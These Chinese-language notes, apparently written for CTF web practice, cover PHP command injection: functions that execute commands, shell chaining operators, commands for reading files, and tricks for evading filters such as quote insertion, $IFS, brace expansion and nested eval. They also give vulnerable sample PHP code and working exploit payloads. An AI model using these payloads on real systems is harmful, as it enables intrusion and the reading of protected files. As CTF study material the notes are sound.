#WEB/命令执行
一、常用的命令执行函数
[!note] 有回显函数
当过滤了特定执行函数时,需要注意,可以执行命令的函数有:system(),反引号``,passthru()
1
[!info] 无回显函数利用
- exec(tac ./fl\ag.txt|tee 2.txt),将flag.txt内容输出并复制给2.txt![[20240218160101.png]]
二、链接符
<?php
highlight_file(__FILE__);
error_reporting(0);
$cmd=$_GET['cmd'];
if(isset($cmd)){
system("ls".$cmd);
}
?>
[!info] 拼接命令:“;,&,&&,|,||”
- ;
- 使用多个命令按顺序执行,前面的命令和后面的命令都会执行,多个命令之间相互独立。
- &
- 使前面部分的命令在后台运行,后面部分的命令前台运行并回显。命令之间相互独立。
- 在浏览器中必须使用urlencode(“&”)即%26
- &&
- 如果前面的命令执行成功,则执行后面的命令。前面的命令执行失败也就无法执行后面的命令。
- 在浏览器中使用url编码即%26%26
- |
- 把前面的命令的输出作为后面命令的输入,前面后面命令都会执行,但是只显示后面命令的执行结果。
- echo “ls -l” | /bin/bash![[20240305094433.png]]
- ||
- 类似于程序中的if-else语句。
- 若前面的命令执行成功,则后面的命令就不会执行;
- 若前面的命令执行失败,则执行后面的命令
- ![[Screenshot_20240304_151613.jpg]]
%0a换行,%09tab键
三、常用的输出函数
[!note] 常见的输出函数
- cat:正常显示,查看源代码看回显
- tac:反向显示
- more:一页一页显示;more flag.php(右键查看源代码)
- less:与more类似;less fla*(右键查看源代码)
- tail:查看末尾几行。
- nl:显示顺便输出行号
- od:以二进制的方式读取文件内容。
?cmd=passthru("od -A d -c fla*");
![[20240305103318.png]]- xxd:读取二进制文件![[20240305103148.png]]
- sort:用于排序文件
?cmd=passthru("/usr/bin/s?rt fla*")
![[20240305103521.png]]- uniq:报告或删除文件中重复行;uniq fl*
- file -f:报错出具体的内容![[20240305103853.png]]
- grep:在文件中查找指定字符;grep 查找的字符 文件名![[20240305104007.png]]
四、过滤关键字
[!info] cat flag.txt
- 空字符过滤(‘’,“”,\,$[0-9/@*])
c''a""t fla''g.tx""t
![[QQ截图20240217224446.png]]ca\t fl\ag.txt
ca$1t fl$@ag.txt
- ![[QQ截图20240217230740.png]]
- 通配符
?
(代替一位字符),*
(代替多个字符)- php语法特性(eval函数中可以执行多条php代码)
- 对flag关键字顺序绕过:
?c=$a='lag.php';$b='f';readfile($b.$a);
![[QQ截图20240217231513.png]]- 字符串拼接:
- 内联执行绕过
- cat `ls`,读取当前路径下所有文件
- cat $(ls) ![[20240218150305.png]]
- 自定义字符串,再拼接起来![[20240305101510.png]]
?cmd=passthru('a=fl;b=ag;c=txt;cat $a$b.$c')
- 利用linux中的环境变量![[Screenshot_20240304_163937.jpg]]
五、过滤空格
4.1 嵌套eval逃匿
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
[!note] exp
?c=eval($_GET[1]);&1=system('ls');
![[QQ截图20240216205011.png]]
4.2 替代空格
<?php
header("content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);
$cmd = $_GET["cmd"];
if(isset($cmd)){
$cmd = preg_replace("# #","",$cmd);
echo "过滤后的命令:".$cmd."</br >";
echo "命令执行结果如下:";
system($cmd);
}
?>
![[20240305095326.png]]
[!info] linux下替代空格
- 重定向符
<
,<>
;
1.<表示输入重定向的意思,就是把<后面跟的文件取代键盘作为新的输入设备cat<flag.txt![[QQ截图20240217233429.png]]- cat<>flag.txt![[20240218145815.png]]
- 大括号{cat,flag.txt}![[20240218145747.png]]
$IFS
代替空格;$IFS
,${IFS}
,$IFS$9
- Linux下有一个特殊的环境变量叫做IFS,即内部字段分隔符。
?cmd=ls$IFS-l
- 单纯的
$IFS
被bash解释器当作变量名,输不出结果,加{}固定。?cmd=ls${IFS}-l
$IFS$9
和上面{}类似,起截断作用。?cmd=ls$IFS$9-l
- %09(Tab),%20(space),%0a(换行)
4.4 高级函数
[[web40]]
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
[!note] exp
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
![[QQ截图20240216205156.png]]
六、编码绕过
![[Screenshot_20240304_172621.jpg]]
![[Screenshot_20240304_172637.jpg]]
七、LD_PRELOAD绕过
[!info] 使用场景
disable_function禁用所有可能用得到的命令执行函数。
5.1 程序的链接
[!info] 程序链接分类
- 静态链接:在程序运行之前先将各个目标模块以及所需要的库函数链接成一个完整的可执行程序,之后不再拆开。
- 装入时动态链接:源程序编译后所得到的一组目标模块,在装入内存时,边装入边链接。
- 运行时动态链接:源程序编译后得到的目标模块,在程序执行过程中需要用到时才对它进行链接。
总的来说就是:将程序所用的资源打包进一起,还是运行时要什么资源用什么资源。
对于动态链接来说,需要一个动态链接库,其作用在于当动态库中的函数发生变化对于可执行程序来说是透明的,可执行程序无需重新编译,方便程序的发布/维护/更新。
5.2 LD_PRELOAD介绍
修改库文件:它可以影响程序的运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。
5.3 绕过条件
5.4代码分析
5.5 使用蚁剑可以绕过
本文含有隐藏内容,请 开通VIP 后查看